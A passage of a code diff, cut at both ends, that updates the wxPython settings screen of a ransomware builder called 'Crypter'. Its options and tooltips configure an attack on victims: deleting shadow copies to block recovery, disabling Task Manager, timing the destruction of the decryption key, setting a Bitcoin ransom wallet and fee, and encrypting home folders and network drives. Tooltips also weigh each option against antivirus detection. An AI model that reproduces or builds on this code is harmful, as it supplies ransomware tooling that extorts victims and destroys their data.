GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) + bSizer60.Add( self.OpenGuiOnLoginLabel, 0, wx.ALL, 5 ) - - - bSizer60.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer60.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.OpenGuiOnLoginCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.OpenGuiOnLoginCheckbox.SetValue(True) - self.OpenGuiOnLoginCheckbox.SetToolTipString( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) - + self.OpenGuiOnLoginCheckbox.SetValue(True) + self.OpenGuiOnLoginCheckbox.SetToolTip( u"If ticked, the GUI will be launched each time the user logs in.\n\nWarning: Enabling this option may significantly increase the rate of Anti-Virus detection" ) + bSizer60.Add( self.OpenGuiOnLoginCheckbox, 0, wx.ALL, 5 ) - - + + bSizer59.Add( bSizer60, 1, wx.EXPAND, 5 ) - + bSizer61 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer61.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer61.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer59.Add( bSizer61, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer59, 1, wx.EXPAND, 5 ) - + bSizer411 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032131 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DeleteShadowCopiesLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Delete Shadow Copies", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DeleteShadowCopiesLabel.Wrap( -1 ) - self.DeleteShadowCopiesLabel.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) - + + self.DeleteShadowCopiesLabel.SetToolTip( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) + bSizer2032131.Add( self.DeleteShadowCopiesLabel, 0, wx.ALL, 5 ) - - - bSizer2032131.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032131.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DeleteShadowCopiesCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.DeleteShadowCopiesCheckbox.SetValue(True) - self.DeleteShadowCopiesCheckbox.SetToolTipString( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) - + self.DeleteShadowCopiesCheckbox.SetValue(True) + self.DeleteShadowCopiesCheckbox.SetToolTip( u"If ticked, all shadow copy files on the system will be deleted. These shadows are backup copies of the machine's files and can be used to gain access to the encrypted data without the decryption key.\n\nWarning: This operation will fail silently if the user does not have sufficient privileges" ) + bSizer2032131.Add( self.DeleteShadowCopiesCheckbox, 0, wx.ALL, 5 ) - - + + bSizer411.Add( bSizer2032131, 1, wx.EXPAND, 5 ) - + bSizer20321112 = wx.BoxSizer( wx.HORIZONTAL ) - + self.DisableTaskManagerLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Disable Task Manager", wx.DefaultPosition, wx.DefaultSize, 0 ) self.DisableTaskManagerLabel.Wrap( -1 ) - self.DisableTaskManagerLabel.SetToolTipString( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) - + + self.DisableTaskManagerLabel.SetToolTip( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) + bSizer20321112.Add( self.DisableTaskManagerLabel, 0, wx.ALL, 5 ) - - - bSizer20321112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.DisableTaskManagerCheckbox = wx.CheckBox( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.DisableTaskManagerCheckbox.SetToolTipString( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) - + self.DisableTaskManagerCheckbox.SetToolTip( u"If ticked, Windows Task Manager will be disabled when Crypter is opened.\n\nWarning: Whilst enabling this option helps prevent users from killing the executable, it can greatly increase the rate of Anti-Virus detection" ) + bSizer20321112.Add( self.DisableTaskManagerCheckbox, 0, wx.ALL, 5 ) - - + + bSizer411.Add( bSizer20321112, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer411, 1, wx.EXPAND, 5 ) - + bSizer4112 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.GuiTitleLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"GUI Title", wx.DefaultPosition, wx.DefaultSize, 0 ) self.GuiTitleLabel.Wrap( -1 ) - self.GuiTitleLabel.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) - + + self.GuiTitleLabel.SetToolTip( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) + bSizer20321311.Add( self.GuiTitleLabel, 0, wx.ALL, 5 ) - - - bSizer20321311.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321311.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.GuiTitleTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.GuiTitleTextCtrl.SetMaxLength( 20 ) - self.GuiTitleTextCtrl.SetToolTipString( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) - + self.GuiTitleTextCtrl.SetMaxLength( 20 ) + self.GuiTitleTextCtrl.SetToolTip( u"The title to display in the GUI. Defaults to \"CRYPTER\".\n\nNote: This field is limited to a maximum of 20 characters to prevent window stretching" ) + bSizer20321311.Add( self.GuiTitleTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4112.Add( bSizer20321311, 1, wx.EXPAND, 5 ) - + bSizer203211121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.KeyDestructionTimeLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Key Destruction Time (s)", wx.DefaultPosition, wx.DefaultSize, 0 ) self.KeyDestructionTimeLabel.Wrap( -1 ) + self.KeyDestructionTimeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.KeyDestructionTimeLabel.SetToolTipString( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) - + self.KeyDestructionTimeLabel.SetToolTip( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) + bSizer203211121.Add( self.KeyDestructionTimeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203211121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203211121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.KeyDestructionTimeTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) self.KeyDestructionTimeTextCtrl.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOWTEXT ) ) - self.KeyDestructionTimeTextCtrl.SetToolTipString( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) - + self.KeyDestructionTimeTextCtrl.SetToolTip( u"The time in seconds before the victim's decryption key is destroyed. Once the time runs out, the victim will no longer be able to decrypt their files. Defaults to 259200 (72 hours)" ) + bSizer203211121.Add( self.KeyDestructionTimeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4112.Add( bSizer203211121, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer4112, 1, wx.EXPAND, 5 ) - + bSizer412 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032112 = wx.BoxSizer( wx.HORIZONTAL ) - + self.WalletAddressLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Wallet Address", wx.DefaultPosition, wx.DefaultSize, 0 ) self.WalletAddressLabel.Wrap( -1 ) + self.WalletAddressLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.WalletAddressLabel.SetToolTipString( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) - + self.WalletAddressLabel.SetToolTip( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) + bSizer2032112.Add( self.WalletAddressLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032112.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032112.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.WalletAddressTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.WalletAddressTextCtrl.SetToolTipString( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) - + self.WalletAddressTextCtrl.SetToolTip( u"The Bitcoin wallet address that the victim should pay the ransom to. This will be displayed in the Crypter GUI. Defaults to the bitcoin wallet of Crypter's author ;-)" ) + bSizer2032112.Add( self.WalletAddressTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer412.Add( bSizer2032112, 1, wx.EXPAND, 5 ) - + bSizer203212 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BitcoinFeeLabel = wx.StaticText( sbSizer13.GetStaticBox(), wx.ID_ANY, u"Bitcoin Fee", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BitcoinFeeLabel.Wrap( -1 ) + self.BitcoinFeeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.BitcoinFeeLabel.SetToolTipString( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) - + self.BitcoinFeeLabel.SetToolTip( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) + bSizer203212.Add( self.BitcoinFeeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer203212.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203212.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.BitcoinFeeTextCtrl = wx.TextCtrl( sbSizer13.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.BitcoinFeeTextCtrl.SetToolTipString( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) - + self.BitcoinFeeTextCtrl.SetToolTip( u"The Bitcoin Fee that you want to victim to pay. This amount will be shown in the GUI. Defaults to 1.0" ) + bSizer203212.Add( self.BitcoinFeeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer412.Add( bSizer203212, 1, wx.EXPAND, 5 ) - - + + sbSizer13.Add( bSizer412, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer13, 0, wx.EXPAND, 1 ) - + sbSizer11 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Encryption" ), wx.VERTICAL ) - + bSizer4122 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032133 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptAttachedDrivesLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypt Attached Drives", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptAttachedDrivesLabel.Wrap( -1 ) - self.EncryptAttachedDrivesLabel.SetToolTipString( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) - + + self.EncryptAttachedDrivesLabel.SetToolTip( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) + bSizer2032133.Add( self.EncryptAttachedDrivesLabel, 0, wx.ALL, 7 ) - - - bSizer2032133.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032133.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptAttachedDrivesCheckbox = wx.CheckBox( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptAttachedDrivesCheckbox.SetValue(True) - self.EncryptAttachedDrivesCheckbox.SetToolTipString( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) - + self.EncryptAttachedDrivesCheckbox.SetValue(True) + self.EncryptAttachedDrivesCheckbox.SetToolTip( u"If ticked, all drives attached to the machine will be encrypted. This includes mapped network drives, as well as external and internal hard disks, but excludes C:" ) + bSizer2032133.Add( self.EncryptAttachedDrivesCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer4122.Add( bSizer2032133, 2, wx.EXPAND, 5 ) - + bSizer20321312 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptUserHomeLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypt User Home", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptUserHomeLabel.Wrap( -1 ) - self.EncryptUserHomeLabel.SetToolTipString( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) - + + self.EncryptUserHomeLabel.SetToolTip( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) + bSizer20321312.Add( self.EncryptUserHomeLabel, 0, wx.ALL, 7 ) - - - bSizer20321312.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321312.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptUserHomeCheckbox = wx.CheckBox( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptUserHomeCheckbox.SetValue(True) - self.EncryptUserHomeCheckbox.SetToolTipString( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) - + self.EncryptUserHomeCheckbox.SetValue(True) + self.EncryptUserHomeCheckbox.SetToolTip( u"If ticked, all files and folders in the victim's home directory (such as Downloads, Documents and Pictures) will be encrypted" ) + bSizer20321312.Add( self.EncryptUserHomeCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer4122.Add( bSizer20321312, 2, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer4122, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND, 5 ) - + bSizer4111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.MaxFileSizeLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Max File Size to Encrypt (MB)", wx.DefaultPosition, wx.DefaultSize, 0 ) self.MaxFileSizeLabel.Wrap( -1 ) + self.MaxFileSizeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.MaxFileSizeLabel.SetToolTipString( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) - + self.MaxFileSizeLabel.SetToolTip( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) + bSizer2032121.Add( self.MaxFileSizeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.MaxFileSizeTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.MaxFileSizeTextCtrl.SetToolTipString( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) - + self.MaxFileSizeTextCtrl.SetToolTip( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) + bSizer2032121.Add( self.MaxFileSizeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4111.Add( bSizer2032121, 1, wx.EXPAND, 5 ) - + bSizer20321111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.FiletypesToEncryptLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Filetypes to Encrypt", wx.DefaultPosition, wx.DefaultSize, 0 ) self.FiletypesToEncryptLabel.Wrap( -1 ) + self.FiletypesToEncryptLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.FiletypesToEncryptLabel.SetToolTipString( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetype" ) - + self.FiletypesToEncryptLabel.SetToolTip( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetype" ) + bSizer20321111.Add( self.FiletypesToEncryptLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.FiletypesToEncryptTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.FiletypesToEncryptTextCtrl.SetToolTipString( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetypes" ) - + self.FiletypesToEncryptTextCtrl.SetToolTip( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetypes" ) + bSizer20321111.Add( self.FiletypesToEncryptTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4111.Add( bSizer20321111, 1, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer4111, 1, wx.EXPAND, 5 ) - + bSizer41 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptedFileExtensionLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypted File Extension", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptedFileExtensionLabel.Wrap( -1 ) + self.EncryptedFileExtensionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.EncryptedFileExtensionLabel.SetToolTipString( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) - + self.EncryptedFileExtensionLabel.SetToolTip( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) + bSizer20321.Add( self.EncryptedFileExtensionLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptedFileExtensionTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptedFileExtensionTextCtrl.SetToolTipString( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) - + self.EncryptedFileExtensionTextCtrl.SetToolTip( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) + bSizer20321.Add( self.EncryptedFileExtensionTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer41.Add( bSizer20321, 1, wx.EXPAND, 5 ) - + bSizer203211 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer203211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer203211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer41.Add( bSizer203211, 1, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer41, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer11, 1, wx.EXPAND, 1 ) - + sbSizer12 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Graphical User Interface" ), wx.VERTICAL ) - + bSizer41221 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321331 = wx.BoxSizer( wx.HORIZONTAL ) - + self.MakeGuiResizeableLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Make GUI Resizeable", wx.DefaultPosition, wx.DefaultSize, 0 ) self.MakeGuiResizeableLabel.Wrap( -1 ) - self.MakeGuiResizeableLabel.SetToolTipString( u"If ticked, the victim will be able to resize the Crypter window" ) - + + self.MakeGuiResizeableLabel.SetToolTip( u"If ticked, the victim will be able to resize the Crypter window" ) + bSizer20321331.Add( self.MakeGuiResizeableLabel, 0, wx.ALL, 7 ) - - - bSizer20321331.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321331.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.MakeGuiResizeableCheckbox = wx.CheckBox( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.MakeGuiResizeableCheckbox.SetToolTipString( u"If ticked, the victim will be able to resize the Crypter window" ) - + self.MakeGuiResizeableCheckbox.SetToolTip( u"If ticked, the victim will be able to resize the Crypter window" ) + bSizer20321331.Add( self.MakeGuiResizeableCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer41221.Add( bSizer20321331, 2, wx.EXPAND, 5 ) - + bSizer203213121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.AlwaysOnTopLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Always On Top", wx.DefaultPosition, wx.DefaultSize, 0 ) self.AlwaysOnTopLabel.Wrap( -1 ) - self.AlwaysOnTopLabel.SetToolTipString( u"If ticked, the Crypter window will stay on top of all other open windows" ) - + + self.AlwaysOnTopLabel.SetToolTip( u"If ticked, the Crypter window will stay on top of all other open windows" ) + bSizer203213121.Add( self.AlwaysOnTopLabel, 0, wx.ALL, 7 ) - - - bSizer203213121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203213121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.AlwaysOnTopCheckbox = wx.CheckBox( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.AlwaysOnTopCheckbox.SetToolTipString( u"If ticked, the Crypter window will stay on top of all other open windows" ) - + self.AlwaysOnTopCheckbox.SetToolTip( u"If ticked, the Crypter window will stay on top of all other open windows" ) + bSizer203213121.Add( self.AlwaysOnTopCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer41221.Add( bSizer203213121, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer41221, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND, 5 ) - + bSizer412211 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer203213311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BackgroundColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Background Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BackgroundColourLabel.Wrap( -1 ) - self.BackgroundColourLabel.SetToolTipString( u"The background colour of the Crypter GUI" ) - + + self.BackgroundColourLabel.SetToolTip( u"The background colour of the Crypter GUI" ) + bSizer203213311.Add( self.BackgroundColourLabel, 0, wx.ALL, 7 ) - - - bSizer203213311.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203213311.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.BackgroundColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 177, 7, 14 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.BackgroundColourPicker.SetToolTipString( u"The background colour of the Crypter GUI" ) - + self.BackgroundColourPicker.SetToolTip( u"The background colour of the Crypter GUI" ) + bSizer203213311.Add( self.BackgroundColourPicker, 0, wx.ALL, 5 ) - - + + bSizer412211.Add( bSizer203213311, 2, wx.EXPAND, 5 ) - + bSizer2032131211 = wx.BoxSizer( wx.HORIZONTAL ) - + self.HeadingFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Heading Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.HeadingFontColourLabel.Wrap( -1 ) - self.HeadingFontColourLabel.SetToolTipString( u"The font colour of the heading/title shown in the Crypter GUI" ) - + + self.HeadingFontColourLabel.SetToolTip( u"The font colour of the heading/title shown in the Crypter GUI" ) + bSizer2032131211.Add( self.HeadingFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer2032131211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032131211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.HeadingFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 0, 0, 0 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.HeadingFontColourPicker.SetToolTipString( u"The font colour of the heading/title shown in the Crypter GUI" ) - + self.HeadingFontColourPicker.SetToolTip( u"The font colour of the heading/title shown in the Crypter GUI" ) + bSizer2032131211.Add( self.HeadingFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer412211.Add( bSizer2032131211, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer412211, 1, wx.EXPAND, 5 ) - + bSizer4122111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032133111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.PrimaryFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Primary Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.PrimaryFontColourLabel.Wrap( -1 ) - self.PrimaryFontColourLabel.SetToolTipString( u"The primary font colour of the Crypter GUI" ) - + + self.PrimaryFontColourLabel.SetToolTip( u"The primary font colour of the Crypter GUI" ) + bSizer2032133111.Add( self.PrimaryFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer2032133111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032133111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.PrimaryFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 255, 255, 0 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.PrimaryFontColourPicker.SetToolTipString( u"The primary font colour of the Crypter GUI" ) - + self.PrimaryFontColourPicker.SetToolTip( u"The primary font colour of the Crypter GUI" ) + bSizer2032133111.Add( self.PrimaryFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer4122111.Add( bSizer2032133111, 2, wx.EXPAND, 5 ) - + bSizer20321312111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.SecondaryFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Seconday Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SecondaryFontColourLabel.Wrap( -1 ) - self.SecondaryFontColourLabel.SetToolTipString( u"The secondary font colour of the Crypter GUI" ) - + + self.SecondaryFontColourLabel.SetToolTip( u"The secondary font colour of the Crypter GUI" ) + 